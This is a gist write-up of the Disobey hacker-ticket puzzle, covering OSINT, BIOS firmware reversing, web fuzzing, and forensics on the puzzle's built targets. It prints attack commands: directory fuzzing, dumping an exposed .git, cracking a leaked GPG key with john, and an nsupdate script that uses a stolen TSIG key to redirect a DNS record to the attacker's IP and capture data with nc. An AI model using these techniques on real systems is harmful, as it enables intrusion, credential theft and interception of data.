Skip to content

Instantly share code, notes, and snippets.

@shinmai
Last active October 2, 2023 10:06
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shinmai/11764a4adb16b07f9e3928ff980335a5 to your computer and use it in GitHub Desktop.
Save shinmai/11764a4adb16b07f9e3928ff980335a5 to your computer and use it in GitHub Desktop.

Disobey 2021 2022 2023 Puzzle Writeup

After 2 skipped events, and normal and supporter tickets selling out in record time, the hacker puzzle originally launched for Disobey 2021 in October 2020 became one of the only ways to attend Disobey 2023, peaking interest in it again, and finally bringing the Hacker tickets close to selling out (I'm writing this as there are 8 tickets left).
I'd like to emphasise that for some parts, especially earlier on, there are multiple ways to get to the next step, and this writeup won't be an exhaustive report of all possible paths and will only go through the steps I personally took. I only won't mention most of the many, MANY red herrings and rabbit holes scattered throughout, but know they were numerous and annoying 😂
There are no clear "subtasks" here, but I'll split things up roughly in chapters based on my own interpretation.

Chapter 1. Kouvosto Telecom Pt. 1 [OSINT & Misc]

Unlike in previous years where the puzzle started on the Disobey website, this puzzle's starting point was this tweet on the official Disobey Twitter, tagging @KouvostoTelecom and hinting that many of the tasks would revolve around OpSec. screenshot of a tweet reading "Craving for that #disobey2021 ticket? We know you do. Disobey 2021 Hacker Challenge is produced in cooperation with @KouvostoTelecom. It seems they've made some #OPSEC fails down the road.. can you find what those fails are?😉 The Hacker ticket sale starts NOW!"
Checking the Kouvosto Telecom Twitter account didn't yield anything interesting, but their bio links to their website www.kouvostotele.com. The site is hosted on GitHub Pages and doesn't contain anything too interesting.
Checking the DNS records for kouvostotele.com and the www subdomain confirms that www is hosted on GitHub, and the A record on the root domain pointing to a private LAN address is the beginning of a theme repeated throughout the puzzle.

My first (productive) idea was to try and find some more subdomains, so I ran subfinder -d kouvostotele.com and got a list:

blog.kouvostotele.com
internal.kouvostotele.com
www.kouvostotele.com
files.kouvostotele.com

Checking the IPs for blog and internal yielded a ghandi.net CNAME record and another internal LAN IP, so I skipped those, and focused on files. A cursory Nmap showed open FTP and SSH ports. SSH being in-scope for CtFs isn't unheard of, but certainly uncommon, so I opted to try and see if the FTP server had anonymous login enabled, and sure enough it did.
There was only one directory available, which contained 20 meme images and a README file, with the content:

Saboten firmware files have moved!

You can find the files at:
ftp://saboten.kouvostotele.com/prod/sb-ihv/firmware/

Alright, another anonymous FTP server, this time with a lot more content.
a directory tree with a Documents folder and a prod/sbihv/firmware folder with a lot of alphanumerical device IDs
The Documents folder contained two files:

  1. Study.odt a mostly nonsensical medical paper titled "Prohibitive effects of dietary and metabolic variance for donor-recipient in extensive organ transplant operations" talking about human testing of implants for enforcing something called "Parallel Imparted Preferences" by Kouvosto Telecom and an unnamed partner. The text is integral to the "storyline" of the puzzle, but as far as I know, isn't useful for actually solving it 😉
  2. MRI.zip a zip compressed PNG file of an MRI of a brain, with a section zoomed in with a light cylindrical mass, that has some kinds of 2D barcode on it.
    MRI of a brain, with a section zoomed in with a light cylindrical mass, that has some kinds of 2D barcode on it
    (scaled down, click for original size)
    The two barcodes are an AZTEK code that reads "Saboten Biomedical NX-H218 S/N 000000001 FCC ID: KRJFSICIIFJEIRKS" and a Dotcode that's IMHO unreadable from the MRI image, but will be present later on in another image. So now we know Saboten stands for Saboten Biomedical, and we have a hint as to which firmware files we should be looking at, the ones for NX-H218.

The prod/sb-ihv/firmware folder contains a bunch of device ID subfolders, each further containing version or revision ID looking folder names like 1-10-1.0, 1.86.29530 and 0-00-3.1. Each of these contains a bin subfolder which, in turn, contains a bin.7z archive, always containig a file named bin.
Looking through these bin files, they're all different, but mostly have very similar content:
HEX editor view of a file with a lot of repeated bytes
(scaled down, click for original size)
A lot (read, almost exclusively) double bytes without a lot of sharp changes in value. Now this made me suspect image data, so I popped one of the files into my favourite tool for analysing raw pixel data https://rawpixels.net/. Fiddling around with the pixel format and width for a bit, yields a very legible slice of an image: rawpixels UI with a small slice of an image So I extracted all the files that followed the same format (there are two that don't, more on them later), named them sequentially, padded them on both sides with some zero bytes and concatenated them into a single file. I opened that file as a RAW 16-bit image in Gimp and began re-ordering the pieces.

Left here is my re-ordered reconstruction with the black padding, and right is the final image resulting from concatenating the images together in correct order. a discoloured and patchy reconstruction of an image reading "try harder" and the correctly coloured version of the same image without the black pathces, side-by-side If the pattern of the dots looks familiar, it's identical to the one in the MRI image, except this time legible enough to reconstruct back into a Dotcode that could be readable. This could've probably been done with computer vision, but I opted to open the image in Gimp, adding a new layer over the original, sizing up a hard round brush to the same size as the dots and going through the dots stamping a solid black dot on the new empty layer on top of every dot in the image. It took about 40 minutes with two breaks and listening to BTS and drinking chai. The result was this image:
a grid of dots forming a Dotcode barcode
Scanning it in results in the text ftp://saboten.kouvostotele.com/prod/sb-ihv/firmware/NX-H218/0-00-3.1/bin/bin.7z.

0-00-3.1 was one of the few files that didn't fit into the 16-bit image scheme, so now we managed to hammer down on a single one of the 30 files to analyse.

Chapter 2. Kouvosto Telecom Pt. 2 [reverse engineering]

Running file on the bin file from 0-00-3.1 returns ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped. Looking through the code in a disassembler, it very quickly becomes evident the file is a binary for the program sleep from GNU coreutils, specifically the version shipped with FreeBSD. The file is 128KiB in size, though, when the binary from FreeBSD is less than 20KiB. To try and isolate the other data from the sleep binary, I opened the file in Binary Ninja and opened the structural view offered by the excellent Kaitai plugin:
screenshot of BinaryNinja showing a hex view with the Kaitai Struct view above it
This way it's easy to see the sleep binary ends at file offset 0x3C18. So I removed all bytes before that offset and re-opened the file to start examining the rest of the data. There are ~50KiB of quite random bytes, then a few legible English strings, and then a big ~63KiB block of 0x41 bytes until the end of the file. The strings in the middle are

  1. PCI INIT FAILED, NOT ENOUGH MEMORY
  2. PCI DEVICE FOUND, VENDOR ID:
  3. END REACHED
  4. DEBUG, AX:

So, looks like code. Making an educated guess based on the "DEBUG, AX", I analysed the file as 16-bit x86.

Binary Ninja identified a bunch of functions that all seemed real and "made sense". I still didn't have a great idea of what the code was, nor did I have an entry-point. I tossed the code around a bit until I took a closer look at the big 0x41 padding block, and noticed that I'd missed something kind of crucial 😅. At the end of the block, there were four non-0x41 bytes: FA E9 0C 00 followed by 12 more 0x41s

🤦‍♀️

So yeah, that's

cli
jmp 0xc

followed by 12, or to put it another way 0xc, more padding bytes. e9 is a near jump, meaning it'll jump within the current codepage, and jumping 12 bytes from 12 bytes away from the end, this means wrapping to the beginning of the codepage, which are 64KiB, or 0x10000 bytes. I found the entry point, and I also realised what code this is, which in hindsight should've been obvious.

This was firmware for an embedded biomedical implant, running x86 code. What's the "firmware" for an x86 CPU? The BIOS.

Truncating all the bytes before the new entry point and again re-opening the file, we now had PERFECTLY legible code with nice and correct data references to the strings and I also spotted another bit of data, a 45 byte string looking suspiciously like base64 encoding. Going through the code, there's some very basic setup, then the entry-point code calls three functions one after another:

  1. a short initialisation function that writes 'free' and 0x0fff to memory
  2. a longer way more complicated function tha calls a bunch of other functions referencing those PCI enumeration strings
  3. a shorter function that writes a bunch of bytes to memory, most of them in sequence at 0x500-0x506 and then jumps to 0x500

So the code is self-modifying. Rather than starting to statically analyse self-modifying code, I opted instead to pop the firmware into qemu and to debug it with gdb.
Now I love gdb, great debugger. Add pwndebug on top of it and maybe the best debugger 🤔 But you know what gdb isn't amazing at? Remotely debugging real-mode 16-bit x86 code 😅 If you just connect to the qemu gdb stub as-is, you won't get disassembly (the instruction pointer is wrong) and all the registers will have wrong values.
Luckily there's an easy fix. @AstralVX has written a nice article called Debuggint 16-bit in QEMU with GDB on Windows. A lot of it isn't relevant, but I used his nice gdb real-mode script and xml definitions as a base for my own. astralvx's step-over function didn't work for me, and I wanted an easy way to automagically keep stepping until a certain address was reached. My version of the original script only offers two commands step_until_addr which takes one parameter and keeps repeating si until that address is reached, and step_until_ret a slight modification of the command in the original script of the same name tha repeats si until the Instruction Pointer points at a return instruction.

So I launch the binary in qemu with qemu-system-i386 -nographic -L . -bios nx-h218.bin -S -s, which will load the binary as a BIOS, load the gdb stub and immediately break before the first instruction. Then I connect in with gdb by commanding gdb -ix gdb_16bit_realmode.txt -ex "set tdesc filename target.xml" -ex "target remote localhost:1234" which loads the real mode script, loads the target descriptions and connects to qemu's gdb stub.
two shells side by side one running qemu the other gdb Now we have a nice disassembly for a few instructions from the IP, all the registers and the memory pointed at by DS:SI and ES:DI. Stepping a few times we land at the entry-point we previously identified. Now I was WAY more interested in the self-modifying code in the third function called from the entry-point than the previous PCI enumeration mess. Having ran the binary a few times in qemu before debugging, it had output:

PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 8086
PCI DEVICE FOUND, VENDOR ID: 1234
5432
Invalid credentials & address given! 

The PCI lines are unsurprisingly output during the second function, but the rest of the output happens in the third and the following self-modifying code. The third function is called at address 0xf001d, so calling step_until_addr 0xf001d and doing one more si we're in the function we're interested in. gdb inside the interesting function with the programs output in another pane on the left The code sets up si and di for moving data back and forth, zeroes out some addresses used as counters, sets up cx as a counter, and then jumps to the self-modifying code.

I won't go through the code line-by-line, but it basically copies the aforementioned base64-looking byte sequence to 0x8c00 in memory then starts loading bytes from 0x495, XORing them with 0x41 and storing the results at 0x2000 Checking 0x495 in Binary Ninja and using the Transform -> XOR function with 0x41 we get some seemingly random bytes and the string "Correct credentials & address provided Connection "
hex view of the XOR'd bytes
Stepping over the code's loops it decrypts a bunch of data, and two legible strings

  1. "Correct credentials & address provided\n\rConnection timed out, retry manually.\n\r"
  2. "Invalid credentials & address given!\n\r"

So we found our error message, getting closer. After the decryption, the code jumps to 0x2000 the beginning of the memory region where the decrypted data was written. Running Binary Ninja's "Define function" on the XOR'd data reveals a function that compares the decrypted data from 0x20AF byte-by-byte with the base64-esque string at 0x8C00. Again in Binary Ninja, taking the XOR'd bytes at corresponding with the ones at 0x20AF in memory, and XORing them with the base64-ish string, we get: ftp://kt:bl4de_runn3r@files.kouvostotele.com

Nice. Connecting to the FTP, there is just one file: PO31337-iPhone-forensics.pdf.

Chapter 3. Üxin Forensics Pt. 1 [web, crypto]

purchase order for iPhone forensic examination from a company called Üxin Forensics
(scaled-down, click for original)

The PDF seems uninteresting otherwise, but does provide us with a new domain, forensics.uxin.fi. Checking the DNS info, the root domain is again a private LAN address, and there are TXT records indicating the forensics subdomain is in scope, but the root domain is not. Checking the website, it's a very stereotypical company website advertising Üxin's credentials, introducing four employees Juuno, Anttu, Lara and Timi, some customer testimonials and two blog posts.

Üxin's website
(scaled-down, click for original)

One post is about a deal with Kouvosto Telecom, the other is about a new "military grade" secure-files platform. The latter is written by Lara, whose author bio in the blog reads "MGE and modern World Wide Web technologies are nice." The post contains a link to the secure-files platform, but the DNS A record for the secure-files subdomain is set to localhost. Using the -H option in curl to provide a different Host header to the server, curl -H "Host: secure-files.uxin.fi" https://forensics.uxin.fi/ returns a 401 Authorization Required a HTTP error. Not having much else to go off of, I tried to find any non-protected files on the secure-files platform using ffuf.

Commanding ffuf -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -ic -H "Host: secure-files.uxin.fi" -mc all -fc 401,404 -u https://forensics.uxin.fi/FUZZ (because we want files that exist, so we filter out 404s, and files that aren't protected, so we filter out 401s) we get a 301 redirect from /backup to https://secure-files.uxin.fi/backup/ (this redirect is the reason we can't use ffuf's recursion) so let's continue from /backup/. Anoter round of ffuf later we're at /backup/users/. Seems logical to try the employees, and a common username naming scheme for small companies is to just use the first name, unless there are more people with the same first name. The only user that seems to have a folder here is timi. Further fuzzing /backup/users/timi yields /backup/users/timi/.git/.

Maxime Arthaud's git-dumper seems like the perfect tool, here. Simply commanding git-dumper -H Host=secure-files.uxin.fi https://forensics.uxin.fi/backup/users/timi/ ~/uxin/timigit will get the whole .git from the server without hassle. The repository is missing a working tree, though, so to get the commit log, we do a git --work-tree=. log and get

commit 6c1ddbb58373e2f045a671cff7203afab4e7f0f5 (HEAD -> master)
Author: Timi Miespera <timi@uxin.fi>
Date:   Mon Oct 12 11:08:06 2020 +0000

    Added iPhone image acquisition photos.

commit 84855f529022de833495efcc429130934caf3f35
Author: Timi Miespera <timi@uxin.fi>
Date:   Sun Oct 11 21:01:41 2020 +0000

    Fixing directory names and wrong PGP file. Adding some nice photos.

commit bf3f05359e41147481afc2df2fc883913901f3e8
Author: Timi Miespera <timi@uxin.fi>
Date:   Sun Oct 11 20:46:18 2020 +0000

    Backup of my Linux home directory

Restoring .gitignore with git --work-tree=. restore .gitignore we get

.passwrod-store
.gnupg
.zcompdump*
.viminfo
.bcksp/priv.key
.oh-my-zsh

The obvious typo in .passwrod-store seems promising. Instead of manually restoring files and hopping between commits, since there are only three commits, let's use Extractor from GitTools. Commanding ~/GitTools/Extractor/extractor.sh ~/uxin/out ~/uxin/ext will create a subfolder in ~/uxin/ext for each commit, with all the files at their current states for that commit inside.

Browsing the very much not ignored .password-store folder, we find 3 .gpg files, encrypted messages:

./never/stop/the/madness.gpg
./uxin/secure/timi.gpg
./greetings/from/whois.gpg

I think I can already guess the contents of the other two, but ./uxin/secure/timi.gpg seems promising. Now we just need to decrypt it.

Checking the public.key file from the commit bf3f053, the commit before the one with the message Fixing directory names and wrong PGP file. it becomes clear "wrong PGP file" in this context means "Secret GPG Key instead of Public" 😁

The secret key IS password protected, but seeing as we've been skating on by horrid OpSec mistakes so far, let's give bruteforce a go:

$ gpg2john private.key > hash
File private.key
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Created directory: /home/shinmai/.john
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou!        (Timi Miespera)     
1g 0:00:00:12 DONE (2022-11-15 15:57) 0.08278g/s 81.95p/s 81.95c/s 81.95C/s iloveyou!..joshua1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Alright! Let's import the secret key into our gpg keyring and decrypt the files in .password-store. We do a gpg --allow-secret-key-import --import private.key enter iloveyou! as the password, and then go to .password-store/uxin/secure/ and simply command gpg --decrypt timi.gpg

gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 03:04:52 PM EEST
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
      "Timi Miespera <timi@uxin.fi>"
{/w8P;;}aED,{8s$

So, back to secure-files, let's see if we can authenticate! curl -H 'Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk' -H 'Host: secure-files.uxin.fi' 'https://forensics.uxin.fi/' returns a PNG image. "I was gonna tell you a joke about UDP, but it seems you might not get it.

Thinking back on the website, and Lara's bio, what's an UDP based modern Web technology? QUIC / HTTP-3. curl doesn't support HTTP-3 out-of-the-box in any distribution I know of, but there are fairly okay instructions on how to enable it in a custom build. After some headaches from libcurl and curl binary mismatches, we have an HTTP-3 capable curl. Let's give it a go!
HTTP 401 error from the HTTP3 endpoint
Oh, yeah, the authentication 😅

$ curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/

<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="KT_Forensics_iPhone_image.7z">KT_Forensics_iPhone_image.7z</a>                       12-Oct-2020 12:31          3167184323
<a href="readme.txt">readme.txt</a>                                         12-Oct-2020 21:01                 150
</pre><hr></body>
</html>

$ curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/readme.txt
Hi Timi,

Please investigate this iPhone as soon as possible! There might be some sensitive information for KT.

Best regards,
Anttu Kuura
Your Boss.

Downloading the 3GiB 7z file with the iPhone forensics data inside proved to be a HUGE hassle, because the HTTP-3 server was HORRIBLY unreliable. I basically had to do curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z -O followed by a series of curl --http3 -H "Host: secure-files.uxin.fi" -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/KT_Forensics_iPhone_image.7z -O -C `stat --format="%s" KT_Forensics_iPhone_image.7z` calls to keep continuing the download from where it failed. But eventually I had the Kouvosto Telecom iPhone image to start poking at.

Chapter 4. Üxin Forensics Pt. 2 [forensics, web]

I started off by extracting the private folder from the filesystem file with dar -x FullFileSystem -g private. Then I did a quick search for interesting things with a very basic method: grep -lir kouvosto. Out of the results, the most promising seemed the results from /private/var/mobile/Library/Mail. Looking through the e-mails, /private/var/mobile/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Messages/5944AEEC-9205-42B5-A652-B5EF4D9553C1.1.2.emlxpart contains:

<div dir=3D"ltr"><br><div>Hi Seppo!</div><div><br></div><div>I was finally =
able to deploy the production site beacon to submit metrics to our servers.=
 As you might be aware, the early 90&#39;s server hardware we&#39;re using =
is struggling with keeping up with the load. I was able to come up with a g=
enius=C2=A0client side load balancing solution=C2=A0to mitigate this issue.=
 It&#39;s probably one of the best solutions I have come up with this far!<=
/div><div><br></div><div>As you know, the data we&#39;re sending out is hig=
hly sensitive because of the production plant operations, so in the example=
 I have attached to this email just includes testing data. I believe the so=
lution is bullet proof as we really don&#39;t want the operations to be exp=
osed to the public. However I&#39;d like you to verify=C2=A0it (see the att=
achment).</div><div><br></div><div>Password for the archive is hunteR2</div=
><div><br></div><div><br></div><div>--</div><div>Mauno Rajam=C3=A4ki</div><=
/div>

/private/var/mobile/Library/Mail/CEAB6F3D-B8DC-47DD-863F-F21B818B0064/INBOX.imapmbox/Attachments/25/2/lb.zip is the attachment mentioned in the message, and sure enough, hunteR2 allows us to extract submission_example.pcap. So let's investigate this "client side load balancing solution". In Wireshark we see there are a whole lot of SSH sessions going on, and as we've not seen any SSH keys during the puzzle, I suspect they're there as background noise. Setting up a filter !tcp.port==22 makes the timeline a lot more clear. First 94.237.109.63 connects to 94.237.108.204 on TCP port 1984 and the following session ensues:

user mauraja connecting to "kouvosto telecom key distribution service" and listing the keys on the server

Ooh, nice, a TSIG key.

Looking further, 94.237.109.63 again connects to 94.237.108.204, this time on port 53, and using the TSIG key first removes all entries for crunch.kt.3g.re and then adds an A record with a 2 second TTL for the same subdomain pointing to 94.237.108.204. 94.237.109.63 then does an HTTP POST to https://crunch.kt.3g.re/submit/ and receives a response

{"result": "success"}

Okay, so the "load balancing" is to only have a DNS record for the receiving server when in use. 😂 Seems like Kouvosto Telecom, alright. Being overtly hopeful we try and replicate what the pcap does with a curl http://94.237.108.204/submit/ -H "Host: crunch.kt.3g.re" -X POST but the server just responds with {"result": "error", "message": "Under a heavy load."}. Well, let's be helpful an provide KT with a less taxed server endpoint!

Taking the TSIG key from the pcap, we use nsupdate to set the subdomain to our own IP:

server 94.237.108.204
zone 3g.re
key hmac-sha512:updatekey GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A==
update delete crunch.kt.3g.re. 0 ANY
update add crunch.kt.3g.re. 2 IN A [OUR_IP]
send
quit

and then launch nc -l 80 and wait.

After a few moments, ta-da!

Connection from 94.237.109.63:60278.
POST / HTTP/1.1
Host: crunch.kt.3g.re
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Transfer-Encoding: chunked
Content-Type: application/ktson
Accept-Encoding: gzip

379
{
  "beacon_name": "chipper",
  "beacon_ip_address": "172.16.104.32",
  "beacon_model": "KVR-L200",
  "beacon_firmware": "0.7.1b.83340",
  "beacon_serial": "80860600021",
  "beacon_location": "Saboten Biomaterial Factory #7",
  "timestamp": 2718658601,
  "meta_data":
    {
      "datatype": "KTBBD",
      "version": "0.7a"
    },
  "events": [
    {
      "rssi": "-42",
      "data": "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3YjcwZDEyOWYwN2NkZjJjNzNlMzg4NTMv",
      "srData": "I29pc2pvaGFja2VyYmFkZ2U=",
      "timestamp": 2718658599,
      "device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
    },
    {
      "rssi": "-36",
      "data": "SXQncyBkYW5nZXJvdXMgdG8gZ28gYWxvbmUhIEhlcmUsIHRha2UgdGhpczo=",
      "timestamp": 2718658594,
      "device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
    }
  ]
}

0

The first data payload is the url https://holvi.com/shop/Disobey/product/582891d57b70d129f07cdf2c73e38853/ base64 encoded, which is the secret URL to buy a Hacker ticket. Yay!

Conclusion

I left out A LOT of frustrating false clues, red herrings and rabbit holes, which were close to ruining the puzzle for me, as was the general unreliability of the puzzle infra especially for the latter stages. (For the DNS redirection thing, I had to re-try my exact solution literally dozens of times before it finally worked, the iPhone image download had to be re-resumed dozens of times and often the server was just completely unavailable, even though I had my curl build's timeout set to 30 seconds) Still, all in all it was a fun puzzle and it was really nice to get it done, since this was one of the only ways to get to Disobey 2023 at this point.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment